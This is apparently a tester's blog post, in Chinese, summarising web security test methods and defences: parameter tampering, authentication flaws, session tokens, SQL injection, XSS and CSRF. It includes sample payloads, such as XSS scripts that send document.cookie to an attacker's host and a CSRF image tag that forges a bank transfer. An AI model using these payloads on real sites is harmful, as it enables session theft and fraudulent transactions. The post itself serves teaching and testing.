安全測試的一些漏洞和測試方法

最近領導讓作安全測試，從網上下了一個破解版的appscan，而後開始測試，測試結果也給了一些修改建議。而後領導讓整理了一下安全測試的一些漏洞和測試方法，我基本按照LoadRunner性能測試巧匠訓練營的後面的安全測試，稍作修改，這裏發上來作保存。

1、繞過客戶端漏洞

1.      HTML驗證

一般人們認爲，HTML驗證不是一種安全的驗證方法。這種驗證只能幫助那些不知道該如何填寫表單、如何輸入的用戶縮短服務器處理時間。做爲攻擊者，能夠用各類方法輕易地繞過這種機制。任何客戶端驗證都應該複製到服務器端。這將大大減小不安全的參數在應用程序使用的可能性。

1. 隱藏表單字段

隱藏的HTML表單是一種看上去沒法修改，經過客戶端傳送數據的經常使用機制。若是一個表單字段標記爲hidden或readonly,那麼它就沒法編輯，是徹底隱藏的，不會在屏幕上顯示。可是提交表單時，保存在表單中的字段名稱和值仍然被提交給應用程序。這時，若是用發送接口或用調試工具能夠輕易改變表單中的隱藏字段併發送給服務器，因此相關的隱藏字段的值在服務器端必須驗證。

1. HTTP cookie

與隱藏表單相似，HTTP cookie並不顯示在用戶屏幕上，也不可直接修改。而早期有些網站對於不一樣的會員等級會有不一樣的折扣，判斷是否享有折扣就用cookie來傳達。例如，有些早期的電商網站最先對金牌會員的折扣就是用cookie來傳達的，相似在用戶登陸後返回一個響應。以下：

HTTP/1.1 200 OK

Set-Cookie:DiscountAgreed=20

一些攻擊者能夠利用工具或者不經過瀏覽器修改cookie的值，達到非法目的。

1. URL參數

應用程序有可能會使用預先設定好的URL參數經過客戶端傳遞數據。例如：

http://127.0.0.1/shop/1.html?quantity=1&price=449

固然，這個URL不必定直接顯示在瀏覽器地址欄中，也可能經過包含參數的URL加載框架內容或用彈窗等其餘方法隱藏地址欄，這時仍能夠經過攔截代理服務器來捕獲任何一個不規範的URL參數，從而修改某些參數，以達到繞過的目的。

1. 加密數據

有時候，經過客戶端傳送的數據是經過加密或者某種形式的模糊處理的，並不以明文顯示。如經過攔截代理服務器獲得這樣一組數據」D61E4BBD6393C9111E6526EA173A7C8B」，傳送的參數爲：quantity=1&price=D61E4BBD6393C9111E6526EA173A7C8B,有幾種方法能夠實施攻擊：

1）破解：看是不是base3二、base6四、MD5等基本加密方式，經過decode或彩虹表判斷，成功破解後修改值進行攻擊

2）若是徹底沒法理解，仍能夠從新傳送它的值，如抓取另外一款較便宜的產品的price進行替換，無視其模糊處理

2、攻擊驗證機制

驗證機制常被看做是防護Web惡意攻擊的核心機制。它處於Web安全防護陣線的最前沿，若是攻擊者能夠輕鬆突破驗證機制，那麼系統的全部功能、數據甚至帳戶餘額等私密信息都會被攻擊者控制。驗證機制是其餘所在安全機制的前提，若是驗證機制沒法阻止攻擊，那麼其它的安全機制也大多沒法實施。

驗證機制經常使用的漏洞主要有：

1. 密碼保護性不強

1）很是短或空白密碼

2）以經常使用字典詞彙爲密碼

3）密碼與用戶名徹底相同

4）長時間使用默認密碼

1. 暴力攻擊

登陸功能每每是徹底公開的，這樣的機制可能會誘使攻擊者試圖利用枚舉來猜想用戶名和密碼，從而得到訪問應用程序的權利。若是應用程序容許攻擊者用不一樣的密碼暴力嘗試，直到他找到正確的密碼，這個程序就很是容易受到攻擊。

應對暴力破解，常採用的一些安全措施：

1）驗證碼

驗證碼方式雖沒法徹底避免被暴力破解，但也可使多數隨意的攻擊者中止攻擊行動，轉而攻擊較容易的應用程序。

2）cookie檢測

例如，有一些應用程序會設置一個cookie,如failedlogin=0;登陸嘗試失敗，遞增該值，達到某個上限，檢測到這個值並拒絕再次處理登陸。

cookie檢測只能防止使用瀏覽器手動攻擊，用專門的工具進行攻擊就能夠輕易避開。

3）會話檢測

與cookie檢測相似，將失敗計數保存在會話中，雖然在客戶端沒有標明該漏洞存在的跡象，但只要攻擊者得到一個新的會話，就能夠繼續實施暴力攻擊。

4）失敗鎖定帳戶

有些應用程序會採起登陸達到必定次數後鎖定目標帳戶的方式。可是有可能經過分析其響應，在鎖定帳戶的狀態下仍能夠進行密碼猜想攻擊。

1. 雙因子認證

是指結合密碼以及實物(信用卡、SMS手機、令牌或指紋等生物標誌）兩種條件對用戶進行認證的方法。其核心是綜合我的密碼和一般爲手機來達到雙重認證的效果。目前不少電商、銀行都採用了該認證方式。

該方法的最大缺點是構建雙因子認證的成本較高、服務器的壓力也比較大。

1. 過於詳細的失敗信息

過於詳細的失敗信息，就會下降攻擊者攻擊的難度。如提示密碼錯誤，就能夠猜想有這個用戶名。

1. 密碼修改功能

成熟的系統除了用戶登陸，每每會提供密碼修改功能，可是在編碼過程當中，咱們每每忘記了這個功能中也會存在一些安全隱患。

密碼修改功能中常見的安全漏洞包括：

1）密碼修改功能是否擁有隱藏的後臺接口，如不經過登陸直接能夠訪問該功能

2）是否可使用不符合標準的密碼，如弱密碼等

3）密碼修改的請求提交時，是否用戶名也隨之提交？若是提交，是否能夠經過修改用戶名來達到修改非當前登陸用戶密碼的目的？

1. 忘記密碼功能

當前互聯網網站大多提供」忘記密碼」功能，可是其中每每會存在一些典型的安全問題，其核心問題就是忘記密碼的流程跳過了身份驗證。會有如下幾種可能：

1）須要確認應用程序中是否有隱含的忘記密碼功能或不經過用戶名查詢便可訪問的狀況

2）若是恢復機制使用質詢方式，則肯定用戶可否枚舉用戶名來獲得質詢信息，與猜想密碼相比，響應質詢更容易

3）若是在忘記密碼的請求響應中生成一封包含恢復URL的電子郵件，獲取大量此類的URL並試圖分析和預測其發送URL的模式，是否能夠獲得其餘未知用戶的恢復URL

4）不管是使用郵件，仍是發送手機驗證碼，查看是否能夠攔截請求以修改目標郵箱或手機號，從而達到繞過的目的。

1. 用戶假裝或」留後門 「

應用程序有時可能會容許特權用戶假裝成其餘用戶，例如某些電商網站擁有相似OOB(on order behalf)的功能，超級管理員能夠假裝成任意用戶來幫助其執行某些操做。

假裝功能設計能夠存在如下漏洞：

1）網站可能經過嚴格的權限控制(只有超級管理員才能夠訪問的功能模塊)或是隱藏的連接(只有超級管理員才知道)的方式執行，例如在網站中有一個特殊的URL能夠連接到一個不須要覈對用戶身份的頁面執行部分操做。這時攻擊者能夠嘗試使用枚舉URL或者使用爬蟲，從而攔截到該功能，劫持全部用戶。

2）有些假裝功能之後門密碼形式執行，也就是說，對於一個普通用戶，除去該用戶設置的密碼外，還擁有一個」萬能密碼」。這種設計可能招致暴力破解，攻擊者攻擊成功後能夠獲取全部用戶的密碼。

1. 多階段登陸

在平常的網絡應用中，常常發現一些多階段登陸的功能，如在輸入用戶名、密碼後，可能會要求你驗證一個私密問題，經過後方可登陸。這樣的設計毫無疑問會增長驗證機制的安全性，可是，這樣的過程也可能產生更多的缺陷。

1）程序可能會認爲，用戶一旦訪問到第二階段，就已經完成第一階段的驗證，那麼可能會容許攻擊者直接進入第二階段

2）程序可能認爲，在兩個階段的執行過程當中，用戶身份不會發生任何變化，因而並無在每一個階段都確認用戶身份。例如，第一階段提交用戶名和密碼，第二階段可能須要從新提交某個私密問題答案和一些我的信息。若是攻擊者在進行第二階段時提供了有效的數據，可是不一樣於第一階段時的用戶，那麼程序可能會容許用戶經過驗證。

3、攻擊會話管理

會話管理機制的安全漏洞主要在會話令牌生成過程當中和在整個會話生命週期過程當中。令牌生成過程當中的主要漏洞就是令牌能夠被構造。其中包含兩種漏洞，一種是令牌含義易讀，也就是沒有進行加密或者加密了但能夠被解密成可讀字符，另一種是令牌能夠被預測，可能包括一些隱藏序列、時間戳等。在整個會話生命週期中，能夠經過獲取別人的token或sessionid來訪問。

4、SQL注入攻擊

幾乎每一個Web網站應用都須要使用數據庫來保存操做所需的各類信息，因此Web程序常常會創建用戶提交的數據的SQL語句。若是創建這種語句的方法不安全，攻擊者就能夠經過把SQL命令插入Web表單、URL等位置的方式，最終將SQL命令隨頁面請求提交至服務器，達到欺騙服務器執行惡意SQL命令的目的。

原理：

構造SQL語句，如加入」’」閉合SQL語句或加入#註釋將後面的驗證字段註銷或加入or使SQL語句的判斷條件永遠爲True繞過驗證。

危害：

1）探知數據庫的具體結構，爲進一步攻擊作準備

2）泄露數據尤爲是機密信息、帳戶信息等

3）取得更高權限，來修改表數據，甚至是內部結構

預防機制：

1）參數化用戶輸入字段，同時過濾掉那些非法字符

2）下降用戶組的權限，受到攻擊後不至於受到重大損失

5、跨站腳本攻擊（XSS攻擊)

在Web應用中，惡意攻擊者將某些攻擊代碼植入提供給用戶查看或使用的頁面中，當用戶在打開網頁時，惡意腳本就會執行。這類攻擊一般經過注入HTML和JS等腳本發動攻擊。攻擊成功後，攻擊者能夠獲得私密網頁內容以及cookie等。簡單來講，XSS攻擊發生的核心緣由是未正確處理用戶提交的數據，從而使惡意腳本代碼得以提交和執行。

XSS攻擊危害巨大，一般被用來盜取會話令牌，篡改甚至刪除重要數據和資料，假裝用戶進行非法操做和非法轉帳。

XSS漏洞分三類，分別爲反射式XSS，存儲式XSS和基於DOM的XSS

1)         反射式XSS

反射式XSS是目前最多見的XSS攻擊類型，也稱爲非永久性XSS攻擊。若服務器直接使用客戶端提交的數據，如URL中包含的參數、HTML表單中的提交數據等，並無對這些數據進行無害化過濾。若是提交的數據中含有惡意腳本沒有正確處理，那麼一個簡單的XSS攻擊就會發生。

典型的反射式攻擊能夠利用郵件或中間網站，誘鉺是一個看起來可信任的站點的連接，其中包含 XSS攻擊腳本，若是信任的網站沒有正確處理這個腳本，用戶點擊後就會致使瀏覽器執行含有惡意攻擊的腳本。舉一個典型的案例能夠幫助理解：

用戶A在瀏覽某個爲B讓你擁有的網站http://www.sample.com,A使用用戶名/密碼進行登陸，並存儲了某些敏感信息（我的信息及銀行帳戶信息等）。

C發現B的站點包含一個反射性的XSS漏洞，C編寫了一個能夠利用該漏洞的URL，並將其冒充爲來自B的郵件發送給A。

http://www.sample.com/test.aspx?message=<script>var+i=new+image;i.src=http://c.et/%2bdocument.cookie;<script>

A點擊了C提供的URL並登陸，嵌入在URL中的惡意腳本在A的瀏覽器中執行，就像它直接來自B的服務器同樣。此腳本盜竊敏感信息（會話及我的信息等），在A徹底不知情的狀況下，向C的Web站點發起一個帶有敏感信息的請求，C監控訪問http://c.net的請求即可截獲A的會話令牌。

2)         存儲式XSS

存儲式XSS也稱爲永久性XSS，危害更大。攻擊者將攻擊腳本上傳到Web服務器上，使得全部訪問該頁面的用戶都面臨信息泄露的可能，其中也包括了Web服務器的管理員。

典型例子：

在一個交友網站上，一我的在我的信息上寫上一段腳本，例如：

<script>window.open(http://www.mysite.com?yourcookie=document.cookie)</script>

而該網站沒有對該段內容進行正確編碼，那麼網站其餘用戶看到這個用戶信息頁時，就會將當前的cookie提交到該用戶的Web站點上。

3)         基於DOM的XSS攻擊

反射式的XSS攻擊和存儲式XSS攻擊有必定的類似之處，兩者都是將用戶數據提交到服務器端，服務器以不安全的方式將其返回給用戶。基於DOM的XSS攻擊僅經過js的方式執行。

基於DOM的XSS攻擊常發生在應用程序每次返回相同的靜態HTML，而經過客戶端javascript動態生成信息時。

XSS攻擊的測試方法：

探測是否存在XSS漏洞的基本測試方法是使用一個概念驗證攻擊字符串：

><script>alert(document.cookie)</script>

這個字符串被提交給每一個應用程序頁面的每個參數，同時測試者監控全部請求的響應，看響應中是否返回這個相同的字符串，若是發現攻擊字符串中按原樣出如今響應中，就幾乎能夠確定應用程序存在XSS漏洞。

XSS的防範措施：

1）輸入確認：若是應用程序收到某個用戶請求，其中提交的數據未來有可能被複制到它的響應中，應用程序須要對這些數據執行儘量嚴格的確認。例如，過濾非法字符(<>’’」%等)、添加白名單、根據不一樣的字段設置不一樣的確認規則等。

2）輸出編碼： 若是應用程序已經將某些用戶提交的數據複製到它的響應中，那麼應用程序應對這些數據進行HTML編碼，以淨化可能存在的惡意字符。這樣作能夠最大程度地確保瀏覽器安全地處理潛在的惡意代碼，將它們轉化成HTML文檔的內容而進行處理。

6、跨站腳本僞造(CSRF攻擊）

儘管聽起來像跨站腳本，但它與XSS很是不一樣，而且攻擊方式幾乎相左。XSS是利用站點內的信任用戶，獲取用戶的cookie等私密信息；而csrf則不去獲取用戶的任何信息，只是經過假裝爲來自受信任的用戶的請求，經過社會工程學的手段（如經過聊天工具發送一個連接或被處理過的包含跳轉的圖片等）來蠱惑用戶進行一些敏感性的操做，如修改密碼、轉帳等，而用戶還不知道本身已經中招。

CSRF的破壞力依賴於受害者的權限。若是受害者只是一個普通的用戶，則一次成功的CSRF攻擊會危害用戶的數據、帳戶及一些功能；若是受害者具備管理員權限，則一次成功的CSRF攻擊甚至會威脅到整個網站的安全。

一個典型的CSRF例子：

A登陸了一個銀行網站testbank.com，準備進行查詢和網上轉帳。B經過本身的分析和攻擊嘗試，瞭解到這個站點的轉帳功能有某個CSRF漏洞。因而，B在本身的博客上發表了一條博客，而且在博客中插入了提早構造好的一行HTML代碼。

<img src=http://testbank.com/transferMoney.jsp?to=B&cash=6000 width=」1」 height=」2」 border=」0」 />

CSRF攻擊的測試方法：

通常來講，測試人員須要對Web應用的一些核心功能進行CSRF檢測，那麼首先須要肯定哪些功能須要進行CSRF檢測。不一樣的應用有不一樣的標準，但有些核心功能基本每一個Web應用中都有，並且十分關鍵。例如：

1）修改密碼、

2）對私密信息及數據的修改、刪除功能

3）與金錢相關的功能，如購物車、團購等

在進行如上功能CSRF測試的時候，能夠假定本身同時具有兩個身份：攻擊者和受害者，而後按照下面的步驟進行操做。

1）用受害者身份登陸，而後進行某個重要功能的操做，假設進行轉帳，URL爲：http://localhost/adduser?transferMoney.jsp?to=someone&cash=6000.

2）以攻擊者身份構造這個重要操做的URL,如能夠寫爲：<img src=」http://localhost/adduser?transferMoney.jsp?to=someone&cash=6000」 width=」1」 height=」1」 border=」0」 />

3）在確保受害者登陸的狀況下，讓受害者點擊攻擊者構造的URL或生成的圖片

4）檢查結果：服務器是否執行了你的請求。若是執行了，說明了那個重要功能存在CSRF漏洞。

CSRF攻擊經常使用的防範措施

1）增長一些確認操做

好比說上面的轉帳功能，當用戶調用銀行系統api進行轉帳的時候，彈出一個對話框，如你確認要轉帳6000元嗎？這樣csrf受害者就能夠知道他中招了。

2）從新認證

執行一些重要敏感的操做時，能夠要求用戶從新輸入密碼，或者單獨輸入一個支付密碼以及手機驗證碼等進行二次認證，只有正確了才能繼續操做。這種作法顯然更安全，但對於用戶來講，易用性差了一些。

3）session失效

創建一個儘可能短一些的會話不活動超時機制

4）設置token

a. 在用戶每一次登陸後，產生一個新的不可預知的CSRF Token，而且把此Token存放在用戶的session中

b. 進入某功能模塊，發現存在一個須要保護的表單，則須要增長一個隱藏字段來存放這個Token，一樣，對於須要保護的URL，增長一個參數來存放些Token。

c. 提交此請求的時候，在服務器端經過請求提交的Token與用戶session中的Token是否一致，若是一致，處理請求，不然返回一個錯誤信息給用戶。

d. 在用戶退出或者session過時的時候，用戶信息（包括CSRF Token)從session中移除並銷燬session